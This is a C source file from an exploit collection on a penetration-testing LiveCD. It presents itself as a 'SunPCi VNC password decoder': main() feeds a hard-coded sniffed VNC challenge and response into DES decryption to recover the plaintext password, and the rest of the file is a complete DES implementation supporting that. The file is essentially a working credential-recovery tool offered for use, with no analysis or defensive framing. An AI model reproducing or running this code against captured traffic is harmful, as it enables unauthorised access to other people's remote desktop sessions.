home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / realvnc / vncsunpci.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  15.2 KB  |  434 lines

  1. /* real quick SunPCi VNC password decoder */
  2.  
  3. /* tested on Linux and Solaris; no warranties */
  4.  
  5. /* all code is ripped, therefore I take no credit */
  6.  
  7.  
  8.  
  9. #include <stdio.h>
  10.  
  11. #include <stdlib.h>
  12.  
  13. #include <string.h>
  14.  
  15. #include <time.h>
  16.  
  17. #include <sys/types.h>
  18.  
  19. #include <sys/stat.h>
  20.  
  21.  
  22.  
  23. #define MAXPWLEN 8
  24.  
  25. #define CHALLENGESIZE 16
  26.  
  27. #define EN0     0       /* MODE == encrypt */
  28.  
  29. #define DE1     1       /* MODE == decrypt */
  30.  
  31.  
  32.  
  33. extern int vncEncryptPasswd(char *passwd, char *fname);
  34.  
  35. extern char *vncDecryptPasswd(char *fname, unsigned char *key);
  36.  
  37. extern void vncRandomBytes(unsigned char *bytes);
  38.  
  39. extern void vncEncryptBytes(unsigned char *bytes, const char *passwd);
  40.  
  41. extern void deskey(unsigned char *, int);
  42.  
  43. extern void usekey(unsigned long *);
  44.  
  45. extern void cpkey(unsigned long *);
  46.  
  47. extern void des(unsigned char *, unsigned char *);
  48.  
  49.  
  50.  
  51.  
  52.  
  53. int main (void){
  54.  
  55.  
  56.  
  57. /* put the first 8 bytes of your sniffed challenge here in challenge[] */
  58.  
  59. unsigned char challenge[] = {0x87,0x5d,0x28,0xf3,0x54,0x2d,0xa9,0xe8};
  60.  
  61. /* put the first 8 bytes of your sniffed response here in response[] */
  62.  
  63. char response[]={0x0d, 0xfc, 0xc6, 0xfc, 0x62, 0xc2, 0x18, 0x0e};
  64.  
  65.  
  66.  
  67. printf("%s\n",vncDecryptPasswd(response,challenge));
  68.  
  69. exit(0);
  70.  
  71. }
  72.  
  73.  
  74.  
  75.  
  76.  
  77. char *
  78.  
  79. vncDecryptPasswd(char *inouttext, unsigned char *key)
  80.  
  81. {
  82.  
  83.     unsigned char *passwd = (unsigned char *)malloc(9);
  84.  
  85.  
  86.  
  87.     deskey(key, DE1);
  88.  
  89.     des(inouttext, passwd);
  90.  
  91.  
  92.  
  93.     passwd[8] = 0;
  94.  
  95.  
  96.  
  97.     return (char *)passwd;
  98.  
  99. }
  100.  
  101.  
  102.  
  103.  
  104.  
  105. static void scrunch(unsigned char *, unsigned long *);
  106.  
  107. static void unscrun(unsigned long *, unsigned char *);
  108.  
  109. static void desfunc(unsigned long *, unsigned long *);
  110.  
  111. static void cookey(unsigned long *);
  112.  
  113.  
  114.  
  115. static unsigned long KnL[32] = { 0L };
  116.  
  117. static unsigned long KnR[32] = { 0L };
  118.  
  119. static unsigned long Kn3[32] = { 0L };
  120.  
  121. static unsigned char Df_Key[24] = {
  122.  
  123.     0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
  124.  
  125.     0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,
  126.  
  127.     0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };
  128.  
  129.  
  130.  
  131. static unsigned short bytebit[8]    = {
  132.  
  133.     01, 02, 04, 010, 020, 040, 0100, 0200 };
  134.  
  135.  
  136.  
  137. static unsigned long bigbyte[24] = {
  138.  
  139.     0x800000L,    0x400000L,    0x200000L,    0x100000L,
  140.  
  141.     0x80000L,    0x40000L,    0x20000L,    0x10000L,
  142.  
  143.     0x8000L,    0x4000L,    0x2000L,    0x1000L,
  144.  
  145.     0x800L,     0x400L,     0x200L,     0x100L,
  146.  
  147.     0x80L,        0x40L,        0x20L,        0x10L,
  148.  
  149.     0x8L,        0x4L,        0x2L,        0x1L    };
  150.  
  151.  
  152.  
  153. /* Use the key schedule specified in the Standard (ANSI X3.92-1981). */
  154.  
  155.  
  156.  
  157. static unsigned char pc1[56] = {
  158.  
  159.     56, 48, 40, 32, 24, 16,  8,     0, 57, 49, 41, 33, 25, 17,
  160.  
  161.      9,  1, 58, 50, 42, 34, 26,    18, 10,  2, 59, 51, 43, 35,
  162.  
  163.     62, 54, 46, 38, 30, 22, 14,     6, 61, 53, 45, 37, 29, 21,
  164.  
  165.     13,  5, 60, 52, 44, 36, 28,    20, 12,  4, 27, 19, 11,  3 };
  166.  
  167.  
  168.  
  169. static unsigned char totrot[16] = {
  170.  
  171.     1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };
  172.  
  173.  
  174.  
  175. static unsigned char pc2[48] = {
  176.  
  177.     13, 16, 10, 23,  0,  4,  2, 27, 14,  5, 20,  9,
  178.  
  179.     22, 18, 11,  3, 25,  7, 15,  6, 26, 19, 12,  1,
  180.  
  181.     40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
  182.  
  183.     43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };
  184.  
  185.  
  186.  
  187. void deskey(key, edf)    /* Thanks to James Gillogly & Phil Karn! */
  188.  
  189. unsigned char *key;
  190.  
  191. int edf;
  192.  
  193. {
  194.  
  195.     register int i, j, l, m, n;
  196.  
  197.     unsigned char pc1m[56], pcr[56];
  198.  
  199.     unsigned long kn[32];
  200.  
  201.  
  202.  
  203.     for ( j = 0; j < 56; j++ ) {
  204.  
  205.         l = pc1[j];
  206.  
  207.         m = l & 07;
  208.  
  209.         pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;
  210.  
  211.         }
  212.  
  213.     for( i = 0; i < 16; i++ ) {
  214.  
  215.         if( edf == DE1 ) m = (15 - i) << 1;
  216.  
  217.         else m = i << 1;
  218.  
  219.         n = m + 1;
  220.  
  221.         kn[m] = kn[n] = 0L;
  222.  
  223.         for( j = 0; j < 28; j++ ) {
  224.  
  225.             l = j + totrot[i];
  226.  
  227.             if( l < 28 ) pcr[j] = pc1m[l];
  228.  
  229.             else pcr[j] = pc1m[l - 28];
  230.  
  231.             }
  232.  
  233.         for( j = 28; j < 56; j++ ) {
  234.  
  235.             l = j + totrot[i];
  236.  
  237.             if( l < 56 ) pcr[j] = pc1m[l];
  238.  
  239.             else pcr[j] = pc1m[l - 28];
  240.  
  241.             }
  242.  
  243.         for( j = 0; j < 24; j++ ) {
  244.  
  245.             if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];
  246.  
  247.             if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];
  248.  
  249.             }
  250.  
  251.         }
  252.  
  253.     cookey(kn);
  254.  
  255.     return;
  256.  
  257.     }
  258.  
  259.  
  260.  
  261. static void cookey(raw1)
  262.  
  263. register unsigned long *raw1;
  264.  
  265. {
  266.  
  267.     register unsigned long *cook, *raw0;
  268.  
  269.     unsigned long dough[32];
  270.  
  271.     register int i;
  272.  
  273.  
  274.  
  275.     cook = dough;
  276.  
  277.     for( i = 0; i < 16; i++, raw1++ ) {
  278.  
  279.         raw0 = raw1++;
  280.  
  281.         *cook     = (*raw0 & 0x00fc0000L) << 6;
  282.  
  283.         *cook    |= (*raw0 & 0x00000fc0L) << 10;
  284.  
  285.         *cook    |= (*raw1 & 0x00fc0000L) >> 10;
  286.  
  287.         *cook++ |= (*raw1 & 0x00000fc0L) >> 6;
  288.  
  289.         *cook     = (*raw0 & 0x0003f000L) << 12;
  290.  
  291.         *cook    |= (*raw0 & 0x0000003fL) << 16;
  292.  
  293.         *cook    |= (*raw1 & 0x0003f000L) >> 4;
  294.  
  295.         *cook++ |= (*raw1 & 0x0000003fL);
  296.  
  297.         }
  298.  
  299.     usekey(dough);
  300.  
  301.     return;
  302.  
  303.     }
  304.  
  305.  
  306.  
  307. void cpkey(into)
  308.  
  309. register unsigned long *into;
  310.  
  311. {
  312.  
  313.     register unsigned long *from, *endp;
  314.  
  315.  
  316.  
  317.     from = KnL, endp = &KnL[32];
  318.  
  319.     while( from < endp ) *into++ = *from++;
  320.  
  321.     return;
  322.  
  323.     }
  324.  
  325.  
  326.  
  327. void usekey(from)
  328.  
  329. register unsigned long *from;
  330.  
  331. {
  332.  
  333.     register unsigned long *to, *endp;
  334.  
  335.  
  336.  
  337.     to = KnL, endp = &KnL[32];
  338.  
  339.     while( to < endp ) *to++ = *from++;
  340.  
  341.     return;
  342.  
  343.     }
  344.  
  345.  
  346.  
  347. void des(inblock, outblock)
  348.  
  349. unsigned char *inblock, *outblock;
  350.  
  351. {
  352.  
  353.     unsigned long work[2];
  354.  
  355.  
  356.  
  357.     scrunch(inblock, work);
  358.  
  359.     desfunc(work, KnL);
  360.  
  361.     unscrun(work, outblock);
  362.  
  363.     return;
  364.  
  365.     }
  366.  
  367.  
  368.  
  369. static void scrunch(outof, into)
  370.  
  371. register unsigned char *outof;
  372.  
  373. register unsigned long *into;
  374.  
  375. {
  376.  
  377.     *into     = (*outof++ & 0xffL) << 24;
  378.  
  379.     *into    |= (*outof++ & 0xffL) << 16;
  380.  
  381.     *into    |= (*outof++ & 0xffL) << 8;
  382.  
  383.     *into++ |= (*outof++ & 0xffL);
  384.  
  385.     *into     = (*outof++ & 0xffL) << 24;
  386.  
  387.     *into    |= (*outof++ & 0xffL) << 16;
  388.  
  389.     *into    |= (*outof++ & 0xffL) << 8;
  390.  
  391.     *into    |= (*outof   & 0xffL);
  392.  
  393.     return;
  394.  
  395.     }
  396.  
  397.  
  398.  
  399. static void unscrun(outof, into)
  400.  
  401. register unsigned long *outof;
  402.  
  403. register unsigned char *into;
  404.  
  405. {
  406.  
  407.     *into++ = (*outof >> 24) & 0xffL;
  408.  
  409.     *into++ = (*outof >> 16) & 0xffL;
  410.  
  411.     *into++ = (*outof >>  8) & 0xffL;
  412.  
  413.     *into++ =  *outof++     & 0xffL;
  414.  
  415.     *into++ = (*outof >> 24) & 0xffL;
  416.  
  417.     *into++ = (*outof >> 16) & 0xffL;
  418.  
  419.     *into++ = (*outof >>  8) & 0xffL;
  420.  
  421.     *into    =  *outof     & 0xffL;
  422.  
  423.     return;
  424.  
  425.     }
  426.  
  427.  
  428.  
  429. static unsigned long SP1[64] = {
  430.  
  431.     0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L,
  432.  
  433.     0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L,
  434.  
  435.     0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L,
  436.  
  437.     0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L,
  438.  
  439.     0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L,
  440.  
  441.     0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L,
  442.  
  443.     0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L,
  444.  
  445.     0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L,
  446.  
  447.     0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L,
  448.  
  449.     0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L,
  450.  
  451.     0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L,
  452.  
  453.     0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L,
  454.  
  455.     0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L,
  456.  
  457.     0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L,
  458.  
  459.     0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L,
  460.  
  461.     0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L };
  462.  
  463.  
  464.  
  465. static unsigned long SP2[64] = {
  466.  
  467.     0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L,
  468.  
  469.     0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L,
  470.  
  471.     0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L,
  472.  
  473.     0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L,
  474.  
  475.     0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L,
  476.  
  477.     0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L,
  478.  
  479.     0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L,
  480.  
  481.     0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L,
  482.  
  483.     0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L,
  484.  
  485.     0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L,
  486.  
  487.     0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L,
  488.  
  489.     0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L,
  490.  
  491.     0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L,
  492.  
  493.     0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L,
  494.  
  495.     0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L,
  496.  
  497.     0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L };
  498.  
  499.  
  500.  
  501. static unsigned long SP3[64] = {
  502.  
  503.     0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L,
  504.  
  505.     0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L,
  506.  
  507.     0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L,
  508.  
  509.     0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L,
  510.  
  511.     0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L,
  512.  
  513.     0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L,
  514.  
  515.     0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L,
  516.  
  517.     0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L,
  518.  
  519.     0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L,
  520.  
  521.     0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L,
  522.  
  523.     0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L,
  524.  
  525.     0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L,
  526.  
  527.     0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L,
  528.  
  529.     0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L,
  530.  
  531.     0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L,
  532.  
  533.     0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L };
  534.  
  535.  
  536.  
  537. static unsigned long SP4[64] = {
  538.  
  539.     0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
  540.  
  541.     0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L,
  542.  
  543.     0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L,
  544.  
  545.     0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L,
  546.  
  547.     0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L,
  548.  
  549.     0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L,
  550.  
  551.     0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L,
  552.  
  553.     0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L,
  554.  
  555.     0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L,
  556.  
  557.     0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L,
  558.  
  559.     0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L,
  560.  
  561.     0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,
  562.  
  563.     0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L,
  564.  
  565.     0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L,
  566.  
  567.     0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L,
  568.  
  569.     0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L };
  570.  
  571.  
  572.  
  573. static unsigned long SP5[64] = {
  574.  
  575.     0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L,
  576.  
  577.     0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L,
  578.  
  579.     0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L,
  580.  
  581.     0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L,
  582.  
  583.     0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L,
  584.  
  585.     0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L,
  586.  
  587.     0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L,
  588.  
  589.     0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L,
  590.  
  591.     0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L,
  592.  
  593.     0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L,
  594.  
  595.     0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L,
  596.  
  597.     0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L,
  598.  
  599.     0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L,
  600.  
  601.     0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L,
  602.  
  603.     0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L,
  604.  
  605.     0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L };
  606.  
  607.  
  608.  
  609. static unsigned long SP6[64] = {
  610.  
  611.     0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L,
  612.  
  613.     0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L,
  614.  
  615.     0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L,
  616.  
  617.     0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L,
  618.  
  619.     0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L,
  620.  
  621.     0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L,
  622.  
  623.     0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L,
  624.  
  625.     0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L,
  626.  
  627.     0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L,
  628.  
  629.     0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L,
  630.  
  631.     0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L,
  632.  
  633.     0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L,
  634.  
  635.     0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L,
  636.  
  637.     0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L,
  638.  
  639.     0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L,
  640.  
  641.     0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L };
  642.  
  643.  
  644.  
  645. static unsigned long SP7[64] = {
  646.  
  647.     0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L,
  648.  
  649.     0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L,
  650.  
  651.     0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L,
  652.  
  653.     0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L,
  654.  
  655.     0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L,
  656.  
  657.     0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L,
  658.  
  659.     0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L,
  660.  
  661.     0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L,
  662.  
  663.     0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L,
  664.  
  665.     0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L,
  666.  
  667.     0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L,
  668.  
  669.     0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L,
  670.  
  671.     0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L,
  672.  
  673.     0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L,
  674.  
  675.     0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L,
  676.  
  677.     0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L };
  678.  
  679.  
  680.  
  681. static unsigned long SP8[64] = {
  682.  
  683.     0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L,
  684.  
  685.     0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L,
  686.  
  687.     0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L,
  688.  
  689.     0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L,
  690.  
  691.     0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L,
  692.  
  693.     0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L,
  694.  
  695.     0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L,
  696.  
  697.     0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L,
  698.  
  699.     0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L,
  700.  
  701.     0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L,
  702.  
  703.     0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L,
  704.  
  705.     0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L,
  706.  
  707.     0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L,
  708.  
  709.     0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L,
  710.  
  711.     0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L,
  712.  
  713.     0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L };
  714.  
  715.  
  716.  
  717. static void desfunc(block, keys)
  718.  
  719. register unsigned long *block, *keys;
  720.  
  721. {
  722.  
  723.     register unsigned long fval, work, right, leftt;
  724.  
  725.     register int round;
  726.  
  727.  
  728.  
  729.     leftt = block[0];
  730.  
  731.     right = block[1];
  732.  
  733.     work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;
  734.  
  735.     right ^= work;
  736.  
  737.     leftt ^= (work << 4);
  738.  
  739.     work = ((leftt >> 16) ^ right) & 0x0000ffffL;
  740.  
  741.     right ^= work;
  742.  
  743.     leftt ^= (work << 16);
  744.  
  745.     work = ((right >> 2) ^ leftt) & 0x33333333L;
  746.  
  747.     leftt ^= work;
  748.  
  749.     right ^= (work << 2);
  750.  
  751.     work = ((right >> 8) ^ leftt) & 0x00ff00ffL;
  752.  
  753.     leftt ^= work;
  754.  
  755.     right ^= (work << 8);
  756.  
  757.     right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL;
  758.  
  759.     work = (leftt ^ right) & 0xaaaaaaaaL;
  760.  
  761.     leftt ^= work;
  762.  
  763.     right ^= work;
  764.  
  765.     leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL;
  766.  
  767.  
  768.  
  769.     for( round = 0; round < 8; round++ ) {
  770.  
  771.         work  = (right << 28) | (right >> 4);
  772.  
  773.         work ^= *keys++;
  774.  
  775.         fval  = SP7[ work         & 0x3fL];
  776.  
  777.         fval |= SP5[(work >>  8) & 0x3fL];
  778.  
  779.         fval |= SP3[(work >> 16) & 0x3fL];
  780.  
  781.         fval |= SP1[(work >> 24) & 0x3fL];
  782.  
  783.         work  = right ^ *keys++;
  784.  
  785.         fval |= SP8[ work         & 0x3fL];
  786.  
  787.         fval |= SP6[(work >>  8) & 0x3fL];
  788.  
  789.         fval |= SP4[(work >> 16) & 0x3fL];
  790.  
  791.         fval |= SP2[(work >> 24) & 0x3fL];
  792.  
  793.         leftt ^= fval;
  794.  
  795.         work  = (leftt << 28) | (leftt >> 4);
  796.  
  797.         work ^= *keys++;
  798.  
  799.         fval  = SP7[ work         & 0x3fL];
  800.  
  801.         fval |= SP5[(work >>  8) & 0x3fL];
  802.  
  803.         fval |= SP3[(work >> 16) & 0x3fL];
  804.  
  805.         fval |= SP1[(work >> 24) & 0x3fL];
  806.  
  807.         work  = leftt ^ *keys++;
  808.  
  809.         fval |= SP8[ work         & 0x3fL];
  810.  
  811.         fval |= SP6[(work >>  8) & 0x3fL];
  812.  
  813.         fval |= SP4[(work >> 16) & 0x3fL];
  814.  
  815.         fval |= SP2[(work >> 24) & 0x3fL];
  816.  
  817.         right ^= fval;
  818.  
  819.         }
  820.  
  821.  
  822.  
  823.     right = (right << 31) | (right >> 1);
  824.  
  825.     work = (leftt ^ right) & 0xaaaaaaaaL;
  826.  
  827.     leftt ^= work;
  828.  
  829.     right ^= work;
  830.  
  831.     leftt = (leftt << 31) | (leftt >> 1);
  832.  
  833.     work = ((leftt >> 8) ^ right) & 0x00ff00ffL;
  834.  
  835.     right ^= work;
  836.  
  837.     leftt ^= (work << 8);
  838.  
  839.     work = ((leftt >> 2) ^ right) & 0x33333333L;
  840.  
  841.     right ^= work;
  842.  
  843.     leftt ^= (work << 2);
  844.  
  845.     work = ((right >> 16) ^ leftt) & 0x0000ffffL;
  846.  
  847.     leftt ^= work;
  848.  
  849.     right ^= (work << 16);
  850.  
  851.     work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;
  852.  
  853.     leftt ^= work;
  854.  
  855.     right ^= (work << 4);
  856.  
  857.     *block++ = right;
  858.  
  859.     *block = leftt;
  860.  
  861.     return;
  862.  
  863.     }
  864.  
  865.  
  866.  
  867.